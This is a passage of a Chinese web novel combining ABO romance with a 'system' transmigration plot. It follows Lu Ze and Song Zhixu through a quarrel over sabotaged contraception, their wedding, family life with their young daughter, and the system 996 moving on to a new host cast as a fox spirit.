他的视线又落到那一盒,宋知许神情有些紧张的坐起来,视线左右游移,“是不是过期了质量不好?” 陆则没吭声,拿着那一盒剩下几个就往浴室走,宋知许眼睁睁看着他离开几次想阻止话到嘴边又咽下,看起来不安极了。 拆开包装入口对准水龙头,灌了水的地方很快开始淋淋沥沥的漏水,这盒剩下的几个无一例外都是这样。 陆则被气的直想笑,风风火火出了浴室在抽屉里几盒存货里翻,无一例外都被拆开了塑封,来回试了好几个都在漏水。 “怎么回事?”陆则问,“一盒漏水质量不好,我随便找都漏水?” “你这么不把自己当回事吗?” 第25章 第二十五章 拥抱玫瑰的第一步 宋知许好像很没有安全感, 皮肤接触空气和陆则现在的目光都让他不安,扯着被子遮挡了下身体挡住陆则的视线不回答他的问题。 陆则彻底气笑了,手里东西往垃圾桶里一扔, 跪在床上往他那膝行,他伸手想去掰宋知许的肩膀,宋知许却反应很大猛地闭上眼, 很用力闭的死死的,似乎没有受到某种自己预料中的东西, 睫毛很紧张的颤了会儿才睁开,瞪着陆则停在空中的胳膊有点不可置信, “你要打我?” “你想打我?”他的眼睛里先是泪, 又满是不忿, 从被子里出来随意披了件衣服一声不吭坐在床边背对着陆则。 陆则一时间动作都僵住了, 对方刚才误以为他抬起的胳膊是要动手第一反应却是闭上眼睛等待, 这完全就是不知道被在面前扬起过多少次手才形成的下意识反应, 他爸妈这么打过他多少次? 陆则:“……谁跟你说什么了?你妈还是我妈?” 陆则一瞬间想了很多,譬如宋女士又来闹给宋知许施压, 用他尽力割舍又始终难以彻底拔除的亲情道德绑架他宋知许,或者是他哥出柜喜欢Beta, 在未来孩子这事遥遥无期,搞的他妈心情不快又一下子对孩子这事紧迫起来, 在宋知许回去的时候暗示或者明示他。 “都有。”宋知许情绪极其低落,“我自己也想要。” “你自己想要?”陆则觉得很荒谬, “你自己也才二十出头这么小也是个孩子你跟我说你也想要?” “你要是想怀你直说啊,我直接不戴了。”陆则说,“结果你现在搞往破扎这一套?” “那你妈妈对我那么好,我想让她高兴一点有什么不对。”宋知许死死低着头不肯抬起来, “领证这么长时间我说了好几次不戴了吧你每次都拒绝。” “而且我自己也喜欢。”他轻声说,“我要是有孩子肯定会是个好爸爸的。” “……之前在医院查出你生殖腔壁薄你早抛到九霄云外了?”陆则蹲在他面前拢了拢他披在身上的衣服,“这根本就不是让不让谁满意的问题,你把自己当回事了么?你根本不需要让他们满意。” “你妈妈对我很好。”宋知许只是垂着眼轻声重复。 “我对你不比我妈对你好?”陆则说,“她对你好你就要不顾身体情况满足她对孙子的愿望?那我对你这么好你要给我生个足球队出来?” 宋知许听了这话居然还真的认真思考了下,陆则见状赶紧打断,“你还真想上了?” “我要是有孩子我肯定会对他特别特别好。”宋知许再次认真道,“我就是想要个孩子。” 陆则太阳穴突突的跳,头痛起来,他深吸了口气,“你是想要个孩子,还是想把你没得到的弥补给下一代?” 想要孩子是假,现在的他既想满足对他好的陆母的愿望,又想把他没得到过的爱与鼓励全数倾注在一个新的生命里,他想养出一个与他截然不同的,在爱里长大永远不用讨好别人的孩子。 宋知许有些黯然的目光动了动,嘴唇翕动了几下没说出反驳的话。 “我当然相信你会是个好爸爸。”陆则扯过他的手在唇边啄吻,说,“你在这种环境长大依旧有爱人的能力,但这个时机绝不是现在,无论是从身体还是心理,你才二十多岁,如果想把爱反哺给别人不如从现在开始好好的把自己养一遍。” “难道现在最亏欠的不是自己么?”陆则试着去抱他,这次没有得到什么反抗,于是他将宋知许抱的紧紧的试图用这种方式给予他一点能量,而宋知许也在这种几乎是窒息的怀抱里慢慢放松下来,拍了拍陆则的胳膊示意他可以轻一点了。 他小声开口,“真的么?” “真的。”宋知许没有问什么确定的东西,却什么都问了,“你特别善良、真诚,又很会爱人。” “我怎么不知道我这么好啊。”宋知许心情坏的很快,好的也很快,“我就是这么好!” 玫瑰美丽但有尖刺,为了不扎手修剪掉刺破坏了这朵玫瑰,与其破坏‘玫瑰’的完整性与鲜活让他委屈求全,不如告诉自己,拥抱玫瑰的同时必然会拥抱到他的尖刺,这是拥抱玫瑰的第一步,而他本身的赤诚与爱也会教会他如何收起尖刺来拥抱爱人。 * 陆则累到没力气吃饭,饭桌上其余人都其乐融融就他一个行尸走肉食不知味。 跑掉的陆延毫无任何责任心可言把一切全都临时打包留给了他,最开始陆母还担心陆则没怎么上手过没法胜任打算重出茅庐,后来一看陆则是手忙脚乱了点但处理的都不错,抱着宋知许大笑称赞她俩儿子都是上班的天才。 陆则不知道陆延那个工作狂到底喜不喜欢这个赞誉,他肯定是百分之百不喜欢的。 不管怎么说,自从上手他对所谓世界男主处理工作的效率和能力还是有了个极其崭新的认知。 “我哥什么时候回来啊……?”陆则放下碗筷有气无力的问。 “谁知道。”陆母被气来气去也平和了,学会了自己开解自己的情绪不要被逆子们气倒,“我听说是那个Beta不跟他好了跑了他也跟着跑。” 陆则:“???” 这是什么追妻火葬场的剧情? 本来死气沉沉的脸被这个认知雷的不受控制的抽动,也算清晰的认知到一时半会儿想让陆延回来上班的可能不是很高了,好半天才干巴巴夸赞了句,“挺好的。” “好什么好。”陆母也捏了捏鼻梁,“我还听说是你哥身边有个什么叫正媛的Omega才把那个Beta气跑的。”她放下筷子也不吃了,“丢不丢脸啊,上个班桃色新闻满天飞,员工都别吃饭全来吃老板的瓜算了,又顶饱又解渴的。” “你管他呢?”陆父手里那俩核桃被没日没夜的盘已经盘出了很好看的光泽,在餐桌上也一刻不停哗啦哗啦的盘,“儿孙自有儿孙福,他爱找谁找去,爱找Beta让他娶,好赖都是自己的事,爱乱玩以后找不到真心过日子的也随他,反正自己担着。” 陆母没好气瞪他,“别哗啦哗啦盘你那俩核桃了,大晚上我睡觉你也哗啦哗啦盘,吃个饭也舍不得把这俩核桃放下。” “俩儿子不是从你肚子里生的你倒是站着说话不腰疼。”陆母又剜了陆父一眼,“不管?我每天要操的心可多了。” “我这不是怕他追着人家跑一趟最后什么都落不下。”陆母扶着下巴皱着眉,“你儿子工作起来什么样你自己不知道啊,现在把搞一半项目都撇了,真追不回来他又伤心。” “……”陆父手痒似的又哗啦哗啦搓了两下才停,“你之前不是还嫌人家Beta不能生么。” “这不有俩儿子么。”陆母亲热的往宋知许身边靠了靠,“你当我们知许不在啊?” ……得,扯着扯着又往这儿来了,他就知道。 陆则把嘴一擦,冷不丁插嘴,“别等了,结扎了,靠一个人怀不上。” 安安静静吃饭的宋知许手一僵,把头埋的更低了。 “啊???”陆母失声,这下下巴是真要掉桌上了,大儿子的棒槌刚在脑袋上敲了几遍小儿子的棒槌又来了,她看看宋知许又看陆则,下意识反应,“不是、结扎?知许不想要孩子?” 陆则早料到现在这个场景,混蛋话早准备了一箩筐又一箩筐,“不是啊,他还挺喜欢,但是怀孕了没法z,戴了我嫌不舒服,让他吃药也很烦,干脆结扎了。” 这下不止陆母下巴掉桌上了,陆则从没见陆父眼睛大到这种地步,埋在碗里吃饭的宋知许抖了几下肩膀,被陆则混蛋话逗的不行特别想笑,忍的很辛苦只好伸手在桌下掐自己的腿。 “不是你说什么呢?”陆母实在被震惊的说不出话,混蛋话在脑子里转了一圈像是把大脑的褶皱全都抚平,每一个字都认识组合成几句话怎么这么陌生。 什么叫怀孕没法z,你是精虫上脑的禽兽么? 什么叫嫌不舒服,你就图自己得劲了? 什么叫嫌他吃药麻烦,Oemga吃对身体有害的b/y/y方便你你还嫌麻烦? 这都是什么混蛋话??? 陆母不可置信的瞪陆则,实在没法想象这是从自己儿子嘴里说出来的,什么要不要孩子和什么结扎都跑到九霄云外现在脑子里那几句话不停的循环播放,问出了今天的第二句和第三句你说什么呢??? 她整个人都惊呆了,摇晃着站起来扶着桌子又扶着脑袋马上要倒,“天啊天啊——什么玩意儿啊。”她看起来真的快不行了,紧紧攥住旁边陆父的肩膀,“快点扶我上去躺着,降压药呢?” 两人摇摇晃晃往楼上走,她临走手指头都快戳到陆则脑门上了,还没忘安顿宋知许一句他不是好玩意儿千万不要给他生孩子。 等陆母的身影消失在楼上。 宋知许:“……” 陆则:“……” 两人极有默契的对视一眼又不约而同移开视线,又在下一秒同时笑喷。 这不算完全的胡说八道,陆则为了防止宋知许再搞扎破的手段真的去结扎了。 但也算是胡说八道。 胡说八道真好。 第26章 第二十六章 终章 现场的人并不算多, 陆家没有请乱七八糟的人,在外跑了大半年的陆延终于赶在婚礼前回来,但却还没带回老婆来就是了。 常综那一伙来了, 宋知许几个处的好的狗友也来了。 乱七八糟的仪式一切从简,最有看头的地方只保留了交换戒指和扔捧花。 陆则站在台上等他,穿着一身白色西服的宋知许气色很好, 从开门起就在努力压着嘴角不让自己呲个大牙笑,万分含蓄的抿着唇用余光找摄像头在哪里, 找到镜头就十分注意自己姿态的往台上走,力求今天拍出好看的照片。 在家里宋知许什么样子他没见过, 许久没见过宋知许端起来陆则觉得又新奇又好笑, 眼里全是笑的看他往上走, 顺便拿出戒指准备给他戴。 一个摄像端着相机跟着宋知许走, 而宋知许远远就看见了陆则拿出的戒指, 还没等走到陆则面前就迫不及待伸长了手臂竖起指头。 陆则:“?” 他看了看两个人之间还有一段的距离, 又看看凑在身边探头打量的一堆朋友,有点懵的把戒指给宋知许套上, 跟在后面的摄像一会儿没注意这俩一声不吭的就把戒指戴上了,没拍到交换戒指环节正要出声提醒要么再来一遍, 戴上戒指拿着捧花一脸含蓄的笑的宋知许好像真憋不住了,举起手转身几乎把脸怼在镜头上晃了又晃。 灿烂毫不加掩饰的笑脸与戒指都被镜头尽职尽责记录下来, 相机往后靠了靠将站在后面一直在笑的陆则也收进镜头,留下了此刻弥足珍贵的一幕。 身边朋友都在等这下, 常综见状跟个猴似的开始嗷嗷叫,996被这极具冲击力的声波震的晃了又晃,本来打算跟宿主进行的长篇大论的告别也被重新咽进肚子里,飞过陆则耳边时匆匆开口, “拜拜拜拜,事已至此,任务已经这样了就别管了,幸福幸福。” 【星际编号9757996申请解绑。】 【任务线判定:已完成89%。 是否确认解绑(此刻解绑可能影响任务完整度,解绑不可重复绑定,请谨慎操作)。】 【已确认解绑,任务结算中——】 【解绑成功——星际快穿局人渣部祝您生活愉快。】 机械音彻底从脑海中消失,一直存在身体里某个沉重的东西离开,陆则似有所觉抬头去看,那个黄色的灯泡已经离开很远在空中只留下了一个黄色的点,他慢慢低下头,掌心放入了另一双温暖的手,一束捧花被宋知许抓着,两人的手交叠,他扫了一圈跃跃欲试要接捧花的人看起来像是要做坏事的兴奋,冲陆则狡黠的眨眨眼,“一起扔。” 扔捧花的前一秒突然变了方向,本来该往人群中扔的捧花在空中划出一个弧度往角落去了,常综几个爱凑热闹的乌泱泱跟着捧花跑,首当其冲的是、是—— 陆延? * 星际总局系统来来往往几乎都行色匆匆,办公室摆在最上面起激励效果的大屏都在循环滚动各位系统的总排名,一直以来被第二名咬的很紧的996就这么当着它的面往下掉了一个名次,掉了就算了,还要在名词后面用红色标一个下箭头。 996:“……” 啊~啊啊啊~命运啊!为什么要这样折磨着我? 它都没力气感慨自己的命运多舛,996自问之前的人物遇到的都是没有什么三观的真人渣宿主,它整天斗智斗勇用暴力强行压制人渣都没有这么无力过。 它越品越觉得陆则不是什么人渣,相应的自己最开始的对人渣惯用的策略也不是很恰当,还是太生硬了,应该根据现实来灵活的运用策略。 996暗下决心以不变应万变,绑定了先看看到底是何方神圣再制定策略,在此之前它会做一个高冷的统。 好学生成绩一掉的下场就是立马得到关怀,即使996已经立马准备跑路还是被逮住了,偌大的办公室循环播放着‘请[9757996]号系统前往办公室’。 996:“……” 996鬼鬼祟祟往办公室里一溜先发制人,扑到安琪面前就开始大声哭号,“现在的宿主是一届不如一届了啊!我刚当系统那会儿遇到的都是什么好人啊。” 它边假哭边睁开一只眼看安琪,就对上一张春风拂面笑意吟吟的脸,这个星际总局大名鼎鼎的女魔头很是宠溺的伸出一根手指摸摸它的脑袋,“失败了就汲取教训嘛,但是996接下来可要努力了,毕竟被反超了很难再起来了。” “带不动啊带不动啊。”996说,“我自己去随便走几下都不止这点分。” 安琪撑着下巴用一根手指来回滚996,她摸了摸自己形状完美的指甲,口气凉凉的,“那你去?” 啊??? 996整个灯泡都石化了,连忙大声拒绝以表示自己的意志坚定,“不不不——” 安琪于是又露出了温柔的笑,“那下次任务要努力哦。” 996抖了抖不存在的鸡皮疙瘩跑出去了。 …… 城市中心晚上依旧亮着各种灯,写字楼里的上班族还在加班,时不时靠在椅子上哀嚎几声感慨命实在苦,它飘到写字楼的十四层,一整层被划分几个区域,其中最大的区域里是一个设施齐全的办公室。 已经上一天班男人穿着依旧一丝不苟从头到脚都非常整齐,穿的西装和衬衫甚至是有些不符合现在的审美的略显呆板的样式和颜色,但能很好的把全身上下都包裹住,呆板暗沉的西装与那张脸和那双狐狸眼说不出的违和。 男人神色有点疲惫,更多的是难受,皱着眉低着头强行忍耐着脑子里眩晕和恶心想要呕吐的感觉,摆在手边二十分钟前刚泡好的咖啡已经见了底,他撑着额头显出几分狼狈,想站起去卫生间洗把脸恢复下清醒,只是刚刚扶着办公桌勉强站起一点眼前猛的一黑又重新倒回原位。 他觉得不太对,手心直冒冷汗,心跳的也快的要命,眼前一会黑一会白,伸手要去摸摆在一边的内线想给自己的秘书打电话,往常轻松就能碰到的电话现在好像远在天边,他张开嘴用力的呼吸了几下,伸到半空的手还是无力的垂下了。 【人渣扮演系统正在捕捉宿主。】 【捕捉成功。】 【请宿主做好准备。】 【3】 【2】 【1】 …… 失去的意识逐渐恢复,细碎的声音传到耳边也能被正常处理接收信息,胡离净稍微动了下,堪堪放在床边的一条腿失去平衡掉到床下,他猛地一闪,用那条腿和一条胳膊撑住身体,腰椎骨的位置莫名其妙一疼,刚才还有些不清醒的脑子现在彻底开机了。 一睁眼就是就是一个木制的顶,再一打量是一张仅供一人使用的单人木制雕花床,房间内布置古色古香,无一例外都是木制品,桌上摆着陶瓷水杯,下面还有个黄色的镜子。 胡离净又闭上眼躺回去,过了几秒再睁眼,一切并没有什么变化。 怎么回事——他加班加出幻觉了? 【不是的宿主。】996说,【不是幻觉,你加班加死了。】 胡离净:“???” 面前这个与四周格格不入的黄色灯泡漂浮在半空中清清嗓子,【宿主狐狸精——】 “你才狐狸精。”胡离净极其敏感的捕捉到了字眼,“我叫胡离净,胡、离、净。” 【好的胡离净。】996及时纠正,【因为你连续两个星期凌晨三点睡觉早上六点起床此外没有任何休息时间,每天早上第一件事就是灌一大杯咖啡,于是你很成功的把自己给熬猝死了。】 胡离净:“……” 【我再自我介绍一下。】996调整了下自己的姿态,【我是星际总局人渣扮演部门系统996,在各个世界寻找符合条件的有缘人并绑定,对方按照要求完成任务后我就可以送你回愿世界复活,身体倍棒。】 胡离净暂时没顾得上搭理996,只觉得尾椎骨的地方更痛了。 【宿主,你压住尾巴根了,肯定疼啊。】996很善解人意的解释,【胡离净宿主,你要扮演的是——狐狸精。】 胡离净本来还不明白什么狐狸精什么尾巴根的,颤颤巍巍往尾椎骨的地方一摸就摸到了一根油光水滑特别蓬松好摸的尾巴。 胡离净:“???” 往常总被包裹的严严实实的身体现在哪里都在漏风,他再次颤颤巍巍一低头就对上了敞开的衣服还有码的整整齐齐的六块腹肌。 996还好死不死的补刀,【这是你的皮肤,宿主你只能这么骚里骚气的穿,你是狐狸精啊。】 胡离净嘎巴一下死那了。 【宿主你想死吗?】得到一记眼刀的996也不生气,觉得宿主那双狐狸眼实在好看没边,被瞪也蛮爽,【不想死我就开始介绍剧情了。】 【这个世界是个类似玄幻的世界,朝堂江湖各据一半,而江湖上最多的组织就是各种捉妖门派。】 【而我的宿主,你是一只无恶不作的狐狸精,吞吃人心邪恶至极,而男主的哥哥就是第一个被你吃心的人,自此以后你一发不可收拾开始踏上作恶的道路最后被列为江湖必杀榜第一名,当然,最后被男主祭天了。】 【而我们的男主,江湖上有名的门派都不肯收留他,所有人都欺负他,但他最后依然莫欺少年穷实现阶级跨越,最后的最后杀掉曾经折磨过自己哥哥的狐狸精一战成名,成为人人忌惮害怕的No.1。】 【而我们男主的哥哥,是个全家忍饥挨饿供出的举人老爷,在去参加春闱的路上被狐狸精勾搭的失了魂,狐狸精玩完抛弃后失魂落魄一心寻死,最后又被狐狸精挖了心吃掉肉嘎掉了。】 胡离净整个人都不太好了,难以置信重复,“我要干什么?” 【成为人渣勾搭书生,抛弃书生,挖书生的心,被男主记恨,继续逍遥法外无恶不作,被男主杀掉祭天。】 “男主他哥在哪?”胡离净只是无力了一会儿就重振旗鼓准备开干,开玩笑,能活谁想死啊,他再也不熬夜了! 【嗯……我看看。】996翻来翻去从少的可怜的话里总结了下,【名字不知道,始终被叫做书生,正在往京城赶参加会试。很俊。】 胡离净行动力很强,折腾半天把耳朵尾巴收回去,拢了拢自己那件遮不住什么的衣服又不放心在里面又加了一件才向996说的书生必经之路去了。 等到了地方他就又傻眼了——来京城参加春闱的书生数不胜数,落脚点也颇为集中,穿着无一例外都是长袍长裤襕衫还戴着东坡巾。 这不都是书生吗?! 第27章 番外:一家三口琐碎小事 婚后的那些年…… “琉意呀, 起床啦。” 宋知许穿着柔软的睡衣打开房门,宋琉意还窝在小被子里睡的正香,他矮下身体摸了摸琉意绵软的脸蛋, 小孩晚上睡的太香嘴角边还留着点口水,他没忍住亲了亲脸蛋,把本来就温柔的声音放的更温柔了点, “小琉意?上幼儿园了。” “醒一醒。”他搓搓琉意的脸蛋,她稍微睁开了点眼依旧睡眼惺忪, “小爸去换个衣服,一会儿来给琉意穿衣服。” 等宋知许再回到房间宋琉意正顶着一头乱乱的头发坐在床上拉兔子玩偶的耳朵, 见到宋知许就开始甜甜的笑, 顺便再伸出肉肉的腿和脚, 满脸都是求夸奖, “小爸, 我今天自己穿袜子了。” “呀!我们琉意这么棒呀。”宋知许去拿提前一天准备好的粉色短袖和绿色背带裤。 “对!”她把兔子玩偶放下伸手去接短袖, “今天我要全部自己穿。” 宋琉意很刻意的在宋知许面前显摆自己穿的动作有多么流利,不出意外得到了一声又一声夸夸, 穿好衣服就跳下床搬着小凳子往卫生间跑。 以前都是宋知许挤好牙膏给琉意刷牙或者让她自己刷,自从某天早上她替小爸挤了一次牙膏就打开了新世界大门, 从此以后再不允许宋知许早上背着她刷牙,就算刷了也得用她亲自挤好的牙膏再刷一遍, 不然就要闹脾气。 站在凳子上的小琉意抱着比她小臂稍微短一点的牙膏很认真的在那挤,宋知许就站在门口把她从头看到脚。 不论多少次打量依旧惊叹又感动, 琉意是早产儿,从出生就比一般小孩小一点,也更瘦,小时候一直母乳喂养喂到后来白白胖胖, 长到三四岁又一点点瘦下来,但脸上可爱的婴儿肥还在。 小时候也不闹人,不太哭,因为是早产宋知许总怀疑是身体不好没精力哭,于是更加加倍小心。 一大一小长得很像的两个人站在镜子前刷牙,琉意把泡沫吐干净就冲宋知许抬起脑袋,嘴边一圈水渍擦干净她就撅起嘴向小爸要亲亲,“亲亲!” 得到小爸充满香味的亲亲小琉意又高兴了,抱着宋知许撒娇,“喜欢小爸,香香。” 她抱着宋知许,把下巴放在宋知许胸脯上抬起眼眨巴眨巴的看,宋知许又被萌的不行,“我们小琉意想干什么呀?” 宋琉意居然有点羞涩,蹭蹭宋知许才小声开口,“奶奶。” 宋知许一愣,有点哭笑不得。 孩子天生对哺乳过自己的地方很依恋,琉意小时候有段时间摸着才肯睡,还要含着奶嘴,抱起来就喜欢摸摸,奶嘴和摸摸戒断也花了不少功夫。 虽然戒断了偶尔还是想摸,后来琉意大点了,自己觉得老摸摸很羞,在表现的很乖的时候还是会向宋知许要求摸摸。 两人正在卫生间笑,陆则也从客厅过来了,进来刮了刮琉意的脸,“又摸摸?羞羞!” 小琉意吐出舌头作了个鬼脸,“不羞羞。” “这么大了还摸摸?就是羞羞。” 琉意黑黑的眼珠子一转,哼了声反驳陆则,“爸爸更大,爸爸也摸摸,爸爸更羞羞!” 宋知许:“???!” 陆则:“???!” 你永远没法知道小孩子会看到什么说出什么话。 宋知许已经想原地蒸发离开人世了,陆则咳了声推着他往卫生间外面走,“你先去吃饭,我给琉意扎小辫,她的早点全在锅里应该快好了。” 一离开卫生间离开小琉意的视线宋知许就绷不住了,“别摸了!以后不准摸。” 陆则没想到仅仅一个早上就痛失摸的权力,也傻眼了,但现在琉意还在卫生间显然没时间掰扯,只好泄愤一样来回把宋知许揉搓了遍,“我先去给琉意扎小辫,回来再说。” 返回卫生间的时候小琉意正趴在镜子前看自己的眼睛,陆则以为怎么了,也凑近看,“眼睛不舒服吗爸爸看看。” “没有!”小琉意拿着梳子递给陆则,“好看,爱看。” 陆则又被逗笑了,一点点梳她睡了一个晚上有点打结的头发,两个人没谁是留头发的,对扎小辫无从下手,当初小琉意开始留头发就扎一个简单的小辫,然后陆则就开始抱着个假人头学怎么扎,扎到现在每次扎出的小辫漂亮又得心应手,“我们琉意就是好看呀,怎么这么好看呀小琉意。” “爸爸扎的辫子也好看。”她乖乖对着镜子站好,“爱爸爸。” 她的高兴不是作假,等陆则扎好小辫对着镜子调整好就迫不及待拉着陆则的手去找小爸,然后就坐在自己的小桌前,陆则给她挂上围兜。 她吃的跟两个大人吃的早点不太一样,基本上是虾仁豆腐牛奶小蒸饺一类的,每天早上宋知许去给她穿衣服陆则就去搞早点,分工明确洗漱完差不多就能吃。 她吃饭一直不用两个人操心,最多就是不喜欢的少吃一点,但不会挑食。 家里桌上吃饭没什么规矩,小琉意吃着饭跟爸爸和小爸聊天,“我朋友的小辫是家里姨姨扎小辫,只有我是爸爸扎的,上学是叔叔送,我是爸爸跟小爸送。” …… 宋琉意上的幼儿园是从九点半开始到下午三点,一般送完她顺路把宋知许放在他开的网红餐厅里然后陆则再去上班。 提起上班陆则就不得不继续谴责陆延,他追回来老婆也老老实实上了几天班,大概是迟到半辈子的叛逆期来了,结完婚跟着老婆大搞平权运动到处跑,他不上班,陆则就得上,可怜陆则潇洒了二十来年临到头得每天按部就班的上班。 宋知许坐在副驾接电话,他开着免提,宋女士在对面询问什么时候带琉意回来住几天。 宋知许撑着下巴没什么表情,“有时间回去吃个饭。” “让琉意回来住几天吧?” 陆则听的想笑,宋女士在这儿搞起隔辈亲了。 宋知许直接拒绝了,“不,我哪敢让你给我带孩子,就你跟我爸小时候带我那套把孩子都带坏了。” 对面不吭声沉默了会儿又开始绞尽脑汁打亲情牌想让宋知许或者琉意回去住一住,宋知许像个铁桶刀枪不入,嗯嗯嗯应付半天挂了电话往四周一打量,“换路了?不是平常走那条。” “回家,今天不上班了。”陆则说。 “不上班干嘛……?”宋知许下意识觉得不妙。 “你说呢。”陆则意味深长笑了下。 宋知许:“……” …… 陆则愤愤咬他,把宋知许当面团似的揉来揉去,“不让我摸?” “摸摸摸。”宋知许被咬的直躲,哄着小的又哄着大的,觉得陆则近些年在他面前越来越低龄化,“随便摸。” 陆则掐着他的腰晃来晃去,“谁的宝宝啊?” 他已经被陆则晃习惯了,扶着肩膀就当坐摇摇车,“你的你的。”话音刚落就被在唇上亲来亲去,放在腰上的手摸上后背从脖子按到腰,非要身体每一处都紧紧贴着陆则才满意的放开手,“这么乖啊的好宝宝啊。” 他被说的脸热,陆则哄他这一套被他学了个十成十又拿去哄琉意,对着琉意这么小的孩子这么乖呀这么棒呀诸如此类的话张口就来,早上刚刚这么夸过小孩的话现在反过来被陆则拿来夸又羞耻又受用。 衣摆被挑起温热的手掌落在留下生产浅浅疤痕的肚子上来回摩挲,另一只手卡着下巴亲吻,已经非常熟悉且契合的身体好像永远不会腻味,三十多岁的宋知许比起之前的青涩与不安多了成为父亲的温柔与力量,阅历和年龄的增加也为他增加了说不出的韵味。 宋知许薄薄的眼皮直抖,肚子轻轻颤了颤,推推陆则轻声催促,“快点……” …… “今天在学校喝了几杯水啊?”陆则端着洗好的水果挨个挑了些放到专门给琉意准备的小碗。 “两杯哦。”小琉意说,“我有乖乖喝水。”她坐在地毯上玩她的玩具看起来气鼓鼓的,“我今天好辛苦,小爸呢?” “小爸好累的,在睡觉。”陆则坐在她旁边,“怎么了呀?谁欺负我们琉意了?先跟爸爸说说,爸爸替你跟小爸告状。” “小爸今天上班了呀?”琉意煞有其事,“那还是小爸辛苦一点。” 她鼓着脸很不高兴,“我跟小逸闹矛盾了,她不让我跟别的朋友玩,我一跟别人玩她就生气。” “啊?”陆则做出一脸感同身受的表情询问,“你不是跟小逸是最好的朋友吗?只是因为你跟别人玩就生气了呀?” 琉意从小得到了足够的爱和关照,在生活中无论是对两个爸爸爷爷奶奶姥姥姥爷都自然而然的说喜欢说爱,在幼儿园里对朋友也都落落大方,人缘很不错,这个小逸也是一个初代基因检测是Omega的小女孩。 “我俩不是朋友,小逸是我老婆。” 陆则:“?” “……老婆?” “对呀。”琉意说,“我可是O中之O,当然是有老婆的啊。” 虽然陆则并不明白宋琉意的Omega中的Omega跟有老婆有什么必然联系,但依旧不妨碍两人继续错频道交流,“那你要对老婆好一点啊。” 小琉意很不明白,“可是老婆是老婆朋友是朋友呀,爸爸有小爸当老婆,但爸爸也有朋友有自己的社交啊,小爸有爸爸当老公,小爸也有工作和朋友啊。”她很忿忿,“我也没有管小逸交朋友。” 陆则不太清楚两个小朋友的相处方式,也不是特别懂小孩子的脑回路,没法给出什么真正有用的建设性意见,但估摸着两个四五岁的小孩就是过家家,还是给出了点自己的心得体会,“那小逸是你老婆你要对她特别一点独一无二一点啊。” 琉意眨眨眼不太懂。 陆则尽量用自己觉得通俗的话跟她解释,“就是,爸爸有你小爸也有朋友,但是爸爸对你小爸跟朋友是不一样的呀,一些事情是只能跟你小爸做但不能跟朋友做的,比如你有个玩具,你可以分享给朋友玩但最后还是要拿回来的,但是你会愿意把这个玩具直接送给、老婆是吧?” “我之前把我所有的糖果都送给小逸啦。”琉意把玩偶抱在怀里,“是这样吗爸爸?” “差不多。”陆则不确定,“……应该是。” “那爸爸你别跟小爸告小逸的状。”琉意小声说。 …… 睡了好几个小时的宋知许终于清醒了,刚爬起来一看手机已经晚上七点,坐在床上缓了会儿去洗了个澡换了个睡衣才出去,客厅灯关着,父子两个坐在那里看投屏的动画片,宋知许刚出来琉意就注意到了,赶紧朝小爸招招手示意小爸过来一起看。 这种益智动画宋知许不是特别感兴趣,充当陪伴跟陆则一人坐琉意一边,安静待了会儿后背就被戳了戳,他瞪陆则一眼示意他老实点,陆则的手机却从后边递到他手里,界面正是某个视频软件两个人伸出手让猫咪来蹭,猫蹭完一个蹭一个忙的团团转。 宋知许忍不住笑了下,就当看个乐子准备把手机还给陆则,就看见陆则鬼鬼祟祟用一根手指指指猫又指指琉意。 宋知许:“???” 是我想的那样? 陆则:对,就是你想的那样。 宋知许:“……琉意呀。” “嗯?”小琉意眨巴着大大的眼睛看小爸,只看见小爸温柔又好看的脸上带了点说不出的笑,然后用指尖点点侧脸。 宋琉意心领神会,直起身体大大的给了宋知许一个亲亲,她刚坐回去要坐下继续看动画片,左边的陆则就极具暗示意味的咳了声。 “咳!” 琉意笑了,从善如流直起身也给了爸爸一个大大的亲亲,还没等坐下右侧宋知许又把侧脸挪了过来。 就这样琉意左亲一下右亲一下忙的焦头烂额整个人晕晕乎乎,刚亲完宋知许就看见两人同时点侧脸。 宋琉意:“???” 她小小的脑袋里是大大的疑惑,乌黑的眼珠咕噜咕噜转了几下,勾勾手示意两人靠近,宋知许和陆则不疑有他很快靠近看她到底怎么亲。 只见宋琉意站起来,朝陆则和宋知许分别伸出一只手,抓住两人后颈就往前送。 这么小的小孩没什么力气,当然推不动两个大人,但两人还是随着她的力道走看小琉意想干嘛。 被她的方向和力道带着、带着带着——两人亲上了??? 两人像是被扣着后颈按头接吻,反将一军捉弄完两个爸爸的小琉意功成身退松开手从沙发后面直接逃离现场。 陆则:“?” 宋知许:“?” 【一家三口琐碎小事——完】 第28章 第二十八章 书生 春闱在即整个京城都喧嚣起来, 从各个州郡而来的学子陆续云集,各自寻找落脚点,要是能遇上同乡学子更是一大幸事, 无论是长途跋涉来到京城互相讨论家乡,还是乡谊互相帮助对来日都是一大助力。 “好——!” 叫好声几乎要冲破房顶,七八个粗布穿着的举人住在一起, 看起来最大的也不过三十多,自然而然聚在一起, 或玩乐或探讨学问,其余人围成了个圈, 外围人踮着脚看, 最中间那位穿蓝色布衫的文雅俊逸都男子一手执笔一手撩起衣袖, 寥寥几笔就依照着他们作出的诗在纸上作画, 每个几乎都栩栩如生。 这是处客栈里的大通铺, 按人头算银钱, 除了吵闹点没别的坏处,自然, 住在大通铺的这些也不是什么大富大贵出身,虽然考上举人家里是宽裕不少, 但这京城无疑是个销金库还是能省则省。 他们读书的银钱都是家里省出来的,当然没什么机会学习君子六艺, 现在齐青寄画这几笔栩栩如生实在新奇的不得了。 周围人称赞连连,齐青寄也是连连拱手自谦过誉。 这些人闹了好一会儿才散开去各自温书, 齐青寄慢慢收拾桌上用过的纸和墨,往窗外看了眼光秃秃只有点绿色的桃树,光从窗户里透进来,他伸手挡了下, 苍白/精瘦的手在光下某些部位几近透明,他有点专注的打量了几下自己的手,突然兴起再次拿起笔开始在手上作画。 点点桃花落在苍白的手上,略劣质的墨和笔影响了一部分画的美观,手上作画也不平整,齐青寄略不满意的皱起眉,捏着毛笔思索片刻再次抬起手,拉远了距离把手上那点红色的桃花衬在树枝上,手掌旁却露出了另外一点红。 他又是一愣,手稍微挪开一点,刚才被手挡住的地方就露出一道好看的身影。 窗外的人站在树下,一身红衣,没有束发,衣服也松松垮垮不好好穿着,衣物料子看着很好,身上却没有任何玉佩香囊之类的装饰,不是开花的季节,光秃秃的树缺了点艳色,初吐嫩芽本来也别有意趣,但这人站在树下瞬间压下了引人注目的春日的生机,那里还能看见什么开始变绿的树。 这些都不算最引人注目,最惊人的当是那张藏在墨发下的脸——眉间略低眉尾上扬显出一种锐气,其下却是一双略上扬的狐狸眼,纤细的鼻与红色的唇,像是在一张洁白的纸上落下墨迹作出的画一般。 